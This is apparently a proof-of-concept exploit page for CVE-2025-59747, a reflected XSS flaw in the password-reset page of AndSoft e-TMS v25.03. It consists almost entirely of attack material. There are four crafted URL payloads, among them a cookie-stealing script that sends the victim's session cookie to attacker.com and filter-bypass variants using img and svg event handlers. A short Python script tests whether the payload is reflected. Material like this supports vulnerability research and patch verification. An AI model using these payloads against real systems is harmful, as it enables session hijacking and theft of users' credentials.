CVE-2025-59747：AndSoft e-TMS v25.03 反射型XSS漏洞

<!-- CVE-2025-59747 - AndSoft e-TMS v25.03 Reflected XSS PoC --> <!-- Vulnerable endpoint: /clt/resetPassword.asp --> <!-- Vulnerable parameter: l --> <!-- Method 1: Basic XSS payload via URL parameter --> <!-- The attacker crafts a malicious URL and sends it to the victim --> <!-- When the victim clicks the link, the JavaScript executes in their browser context --> https://target-server/clt/resetPassword.asp?l=<script>alert('XSS-CVE-2025-59747')</script> <!-- Method 2: Cookie stealing payload (for demonstration) --> <!-- This payload would exfiltrate the victim's session cookie to attacker-controlled server --> https://target-server/clt/resetPassword.asp?l=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Method 3: Using event handler to bypass basic filters --> https://target-server/clt/resetPassword.asp?l="><img src=x onerror=alert(document.domain)> <!-- Method 4: Using SVG tag for XSS execution --> https://target-server/clt/resetPassword.asp?l=<svg/onload=alert('XSS')> <!-- Python exploit script example --> #!/usr/bin/env python3 import requests TARGET_URL = "https://target-server/clt/resetPassword.asp" XSS_PAYLOAD = "<script>alert('CVE-2025-59747-XSS')</script>" def exploit(): params = {"l": XSS_PAYLOAD} response = requests.get(TARGET_URL, params=params, verify=False) if XSS_PAYLOAD in response.text: print("[+] XSS vulnerability confirmed!") print(f"[+] Payload reflected in response without sanitization") return True else: print("[-] Payload was sanitized or filtered") return False if __name__ == "__main__": exploit()